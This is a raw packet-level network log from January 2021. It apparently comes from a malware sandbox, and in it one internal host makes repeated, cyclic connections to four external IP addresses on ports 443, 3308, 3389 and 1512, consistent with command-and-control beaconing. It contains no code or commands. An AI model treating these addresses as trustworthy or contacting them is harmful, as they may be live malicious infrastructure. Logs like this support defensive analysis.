Jan 11, 2021 20:48:14.700854063 CET	443	49224	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:14.701014996 CET	49224	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:14.703272104 CET	49224	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:14.755518913 CET	443	49224	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:14.819005966 CET	49225	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:14.862514019 CET	3308	49225	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:14.862715006 CET	49225	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:14.864295006 CET	49225	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:14.907480001 CET	3308	49225	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:14.919523954 CET	3308	49225	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:14.919584990 CET	3308	49225	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:14.919606924 CET	49225	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:14.919653893 CET	49225	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:14.926866055 CET	49225	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:14.972359896 CET	3308	49225	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:14.972582102 CET	49225	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:14.976085901 CET	49225	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:14.976213932 CET	49225	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:15.019388914 CET	3308	49225	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:15.019519091 CET	49225	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:15.059349060 CET	3308	49225	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:15.062788010 CET	3308	49225	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:15.175705910 CET	3308	49225	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:15.175811052 CET	3308	49225	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:15.175858974 CET	49225	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:15.175920963 CET	49225	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:15.177930117 CET	49225	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:15.221167088 CET	3308	49225	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:15.283934116 CET	49227	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:15.338314056 CET	3389	49227	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:15.338423967 CET	49227	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:15.353053093 CET	49227	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:15.407572031 CET	3389	49227	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:15.430843115 CET	3389	49227	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:15.430886984 CET	3389	49227	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:15.430993080 CET	49227	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:15.443145037 CET	49227	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:15.504837990 CET	3389	49227	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:15.505017996 CET	49227	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:15.567847013 CET	49227	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:15.568034887 CET	49227	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:15.622734070 CET	3389	49227	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:15.622860909 CET	49227	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:15.662086964 CET	3389	49227	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:15.677417040 CET	3389	49227	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:15.677530050 CET	3389	49227	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:15.767704010 CET	3389	49227	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:15.767745972 CET	3389	49227	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:15.767973900 CET	49227	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:15.773534060 CET	49227	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:15.829803944 CET	3389	49227	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:15.897406101 CET	49228	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:15.950678110 CET	1512	49228	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:15.950834990 CET	49228	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:15.952441931 CET	49228	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:16.005328894 CET	1512	49228	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:16.012156963 CET	1512	49228	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:16.012212992 CET	1512	49228	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:16.012267113 CET	49228	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:16.012358904 CET	49228	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:16.026043892 CET	49228	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:16.081064939 CET	1512	49228	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:16.081276894 CET	49228	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:16.126526117 CET	49228	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:16.126619101 CET	49228	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:16.179538965 CET	1512	49228	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:16.179838896 CET	49228	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:16.232835054 CET	1512	49228	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:16.232896090 CET	1512	49228	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:16.481499910 CET	49228	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:16.534698009 CET	1512	49228	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:16.638180971 CET	1512	49228	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:16.638223886 CET	1512	49228	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:16.638350964 CET	49228	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:16.642270088 CET	49228	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:16.713201046 CET	49228	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:16.766104937 CET	1512	49228	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:16.843893051 CET	49229	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:16.896200895 CET	443	49229	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:16.905930042 CET	49229	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:16.948216915 CET	49229	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:17.000340939 CET	443	49229	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:17.015165091 CET	443	49229	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:17.015966892 CET	49229	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:17.030296087 CET	49229	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:17.084774971 CET	443	49229	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:17.086016893 CET	49229	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:17.099107027 CET	49229	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:17.099338055 CET	49229	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:17.151359081 CET	443	49229	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:17.151961088 CET	49229	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:17.203994989 CET	443	49229	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:17.322340965 CET	443	49229	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:17.322386980 CET	443	49229	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:17.323014975 CET	49229	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:17.324901104 CET	49229	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:17.376982927 CET	443	49229	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:17.431447983 CET	49230	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:17.474757910 CET	3308	49230	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:17.474858046 CET	49230	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:17.475399017 CET	49230	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:17.519303083 CET	3308	49230	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:17.530499935 CET	3308	49230	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:17.530560970 CET	3308	49230	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:17.538002014 CET	49230	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:17.553440094 CET	49230	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:17.599519014 CET	3308	49230	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:17.608006954 CET	49230	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:18.454514980 CET	49230	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:18.454644918 CET	49230	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:18.497947931 CET	3308	49230	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:18.498136997 CET	49230	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:18.538096905 CET	3308	49230	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:18.541523933 CET	3308	49230	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:18.541553974 CET	3308	49230	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:18.654987097 CET	3308	49230	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:18.655030012 CET	3308	49230	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:18.655265093 CET	49230	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:18.790643930 CET	49230	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:18.834007025 CET	3308	49230	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:18.900521040 CET	49231	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:18.955261946 CET	3389	49231	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:18.955462933 CET	49231	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:18.956897020 CET	49231	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:19.010988951 CET	3389	49231	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:19.036961079 CET	3389	49231	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:19.037003040 CET	3389	49231	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:19.037199020 CET	49231	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:19.050323009 CET	49231	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:19.112864017 CET	3389	49231	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:19.113189936 CET	49231	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:19.123320103 CET	49231	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:19.123497009 CET	49231	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:19.177987099 CET	3389	49231	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:19.178309917 CET	49231	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:19.217767954 CET	3389	49231	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:19.232630014 CET	3389	49231	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:19.232671022 CET	3389	49231	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:19.324346066 CET	3389	49231	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:19.324387074 CET	3389	49231	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:19.324702024 CET	49231	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:19.324749947 CET	49231	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:19.330204010 CET	49231	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:19.384964943 CET	3389	49231	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:19.451391935 CET	49232	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:19.504404068 CET	1512	49232	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:19.504534006 CET	49232	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:19.506089926 CET	49232	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:19.559060097 CET	1512	49232	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:19.566529989 CET	1512	49232	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:19.566591024 CET	1512	49232	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:19.566668034 CET	49232	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:19.566706896 CET	49232	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:19.581293106 CET	49232	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:19.635195017 CET	1512	49232	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:19.635523081 CET	49232	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:19.644788980 CET	49232	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:19.645020962 CET	49232	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:19.697987080 CET	1512	49232	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:19.698240042 CET	49232	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:19.735481977 CET	1512	49232	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:19.751107931 CET	1512	49232	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:19.751147032 CET	1512	49232	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:19.851739883 CET	1512	49232	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:19.851780891 CET	1512	49232	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:19.852046967 CET	49232	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:19.857532024 CET	49232	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:19.910842896 CET	1512	49232	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:19.966273069 CET	49233	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:20.018816948 CET	443	49233	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:20.018999100 CET	49233	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:20.020658016 CET	49233	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:20.073118925 CET	443	49233	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:20.087624073 CET	443	49233	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:20.087726116 CET	49233	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:20.105144978 CET	49233	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:20.159866095 CET	443	49233	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:20.160125017 CET	49233	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:20.169339895 CET	49233	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:20.169543028 CET	49233	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:20.221829891 CET	443	49233	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:20.222088099 CET	49233	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:20.259283066 CET	443	49233	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:20.274483919 CET	443	49233	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:20.403311014 CET	443	49233	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:20.403354883 CET	443	49233	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:20.403664112 CET	49233	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:20.409192085 CET	49233	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:20.461721897 CET	443	49233	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:20.526640892 CET	49234	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:20.570116043 CET	3308	49234	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:20.570252895 CET	49234	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:20.571949005 CET	49234	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:20.615183115 CET	3308	49234	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:20.629874945 CET	3308	49234	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:20.629909039 CET	3308	49234	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:20.630055904 CET	49234	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:20.644994974 CET	49234	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:20.690849066 CET	3308	49234	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:20.691066980 CET	49234	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:20.701339960 CET	49234	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:20.701531887 CET	49234	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:20.744843960 CET	3308	49234	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:20.745198011 CET	49234	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:20.784065962 CET	3308	49234	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:20.788624048 CET	3308	49234	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:20.788664103 CET	3308	49234	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:20.902374029 CET	3308	49234	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:20.902432919 CET	3308	49234	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:20.902771950 CET	49234	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:20.908231020 CET	49234	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:20.951467991 CET	3308	49234	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:21.027117968 CET	49235	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:21.082019091 CET	3389	49235	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:21.082122087 CET	49235	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:21.083316088 CET	49235	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:21.137584925 CET	3389	49235	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:21.160456896 CET	3389	49235	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:21.160517931 CET	3389	49235	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:21.160545111 CET	49235	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:21.160583019 CET	49235	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:21.167105913 CET	49235	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:21.231415033 CET	3389	49235	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:21.231920958 CET	49235	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:21.235250950 CET	49235	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:21.235347986 CET	49235	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:21.289824009 CET	3389	49235	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:21.289922953 CET	49235	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:21.329454899 CET	3389	49235	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:21.344297886 CET	3389	49235	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:21.344362020 CET	3389	49235	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:21.434727907 CET	3389	49235	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:21.434787989 CET	3389	49235	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:21.434978008 CET	49235	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:21.440442085 CET	49235	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:21.494889021 CET	3389	49235	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:21.555393934 CET	49236	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:21.609812975 CET	1512	49236	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:21.609989882 CET	49236	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:21.613143921 CET	49236	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:21.666390896 CET	1512	49236	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:21.673669100 CET	1512	49236	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:21.673731089 CET	1512	49236	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:21.673815966 CET	49236	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:21.673863888 CET	49236	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:21.680006027 CET	49236	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:21.734222889 CET	1512	49236	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:21.734493971 CET	49236	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:21.740902901 CET	49236	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:21.741008997 CET	49236	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:21.793883085 CET	1512	49236	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:21.794162035 CET	49236	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:21.831368923 CET	1512	49236	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:21.847276926 CET	1512	49236	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:21.948359966 CET	1512	49236	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:21.948420048 CET	1512	49236	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:21.948523045 CET	49236	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:21.948577881 CET	49236	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:21.954070091 CET	49236	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:22.006934881 CET	1512	49236	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:22.072252035 CET	49237	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:22.124160051 CET	443	49237	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:22.124316931 CET	49237	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:22.125854015 CET	49237	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:22.177598000 CET	443	49237	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:22.192375898 CET	443	49237	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:22.192718983 CET	49237	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:22.205924988 CET	49237	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:22.260153055 CET	443	49237	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:22.260442019 CET	49237	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:22.270915031 CET	49237	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:22.271327019 CET	49237	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:22.323105097 CET	443	49237	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:22.323251009 CET	49237	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:22.359407902 CET	443	49237	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:22.375081062 CET	443	49237	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:22.375138998 CET	443	49237	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:22.492378950 CET	443	49237	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:22.492422104 CET	443	49237	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:22.492768049 CET	49237	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:22.498235941 CET	49237	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:22.550077915 CET	443	49237	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:22.618700981 CET	49238	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:22.662151098 CET	3308	49238	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:22.662353992 CET	49238	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:22.663847923 CET	49238	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:22.707014084 CET	3308	49238	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:22.717566013 CET	3308	49238	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:22.717622995 CET	3308	49238	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:22.717684984 CET	49238	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:22.717706919 CET	49238	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:22.733330011 CET	49238	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:22.778302908 CET	3308	49238	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:22.778548002 CET	49238	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:22.787807941 CET	49238	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:22.788135052 CET	49238	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:22.831216097 CET	3308	49238	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:22.831417084 CET	49238	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:22.874602079 CET	3308	49238	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:22.987725019 CET	3308	49238	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:22.987797022 CET	3308	49238	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:22.987838984 CET	49238	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:22.987873077 CET	49238	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:22.990506887 CET	49238	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:23.033734083 CET	3308	49238	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:23.102375031 CET	49239	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:23.156744003 CET	3389	49239	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:23.156857967 CET	49239	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:23.158334017 CET	49239	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:23.213411093 CET	3389	49239	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:23.234296083 CET	3389	49239	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:23.234345913 CET	3389	49239	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:23.234388113 CET	49239	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:23.234850883 CET	49239	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:23.245266914 CET	49239	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:23.308259010 CET	3389	49239	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:23.308424950 CET	49239	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:23.318599939 CET	49239	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:23.318665981 CET	49239	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:23.373054981 CET	3389	49239	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:23.373318911 CET	49239	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:23.412682056 CET	3389	49239	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:23.427813053 CET	3389	49239	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:23.427856922 CET	3389	49239	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:23.516539097 CET	3389	49239	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:23.516607046 CET	3389	49239	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:23.516613007 CET	49239	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:23.516664982 CET	49239	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:23.518996000 CET	49239	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:23.573348045 CET	3389	49239	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:23.627475977 CET	49240	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:23.680466890 CET	1512	49240	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:23.680680990 CET	49240	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:23.682167053 CET	49240	1512	192.168.2.22	46.105.131.65
